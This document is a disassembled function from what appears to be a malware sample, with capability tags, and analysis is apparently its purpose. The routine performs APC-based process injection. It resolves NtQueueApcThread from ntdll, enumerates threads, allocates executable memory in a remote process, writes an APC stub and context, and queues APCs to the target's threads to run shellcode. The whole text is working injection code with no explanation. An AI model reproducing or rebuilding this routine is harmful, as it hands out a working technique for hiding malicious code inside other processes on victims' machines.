Function at 0x14001afbc
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb0
mov dword [rsp + 0x70], 5
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x88], 0
lea rdi, [rsp + 0x8c]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
lea rdi, [rsp + 0x50]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x88], 0x1c
cmp dword [rsp + 0xd0], 1
jne 0x14001b0bf
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
test eax, eax
jne 0x14001b092
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_Cant_do_x64__x86_APC_injection_yet._GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
cmp dword [rsp + 0xd0], 2
jne 0x14001b119
xor eax, eax
test eax, eax
jne 0x14001b0c9
lea rax, [0x1400619f0]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x40], 0x144
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
test eax, eax
jne 0x14001b0ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_Invalid_target_architecture_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x14001b164
xor eax, eax
test eax, eax
jne 0x14001b139
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_LoadLibraryA_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
lea rdx, str.NtQueueApcThread
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14001b1b1
xor eax, eax
test eax, eax
jne 0x14001b186
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_GetProcAddress_NtQueueApcThread_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14001b1f5
xor eax, eax
test eax, eax
jne 0x14001b1ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_CreateToolhelp32Snapshot_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x14001b236
xor eax, eax
test eax, eax
jne 0x14001b20b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_Thread32First_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
mov r8d, dword [rsp + 0x40]
add r8, 0x18
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x14001b295
xor eax, eax
test eax, eax
jne 0x14001b26a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_VirtualAllocEx_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x78]
add rax, rcx
mov qword [rsp + 0x38], rax
xor eax, eax
test eax, eax
jne 0x14001b2a6
mov r9d, dword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001b301
xor eax, eax
test eax, eax
jne 0x14001b2d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcStub_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
mov qword [rsp + 0x20], 0
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001b357
xor eax, eax
test eax, eax
jne 0x14001b32c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str._INJECT__inject_via_apcthread:_WriteProcessMemory_lpRemoteApcContext_failed_GetLastError___d
mov rcx, qword [0x140020958]
mov rcx, qword [rcx]
call qword [0x140020938]
jmp 0x14001b41a
mov qword [rsp + 0xa8], 0
mov eax, dword [rsp + 0xc8]
cmp dword [rsp + 0x94], eax
je 0x14001b375
jmp 0x14001b3ef
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x14001b39f
jmp 0x14001b3ef
xor eax, eax
test eax, eax
jne 0x14001b39f
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0x68]
test eax, eax
jne 0x14001b3db
xor eax, eax
test eax, eax
jne 0x14001b3cb
mov dword [rsp + 0x70], 0
jmp 0x14001b3e1
xor eax, eax
test eax, eax
jne 0x14001b3db
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x14001b410
cmp dword [rsp + 0x70], 0
jne 0x14001b357
xor eax, eax
test eax, eax
jne 0x14001b053
cmp qword [rsp + 0x30], 0
je 0x14001b42d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x80], 0
je 0x14001b446
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rsp + 0x70]
add rsp, 0xb0
pop rdi
ret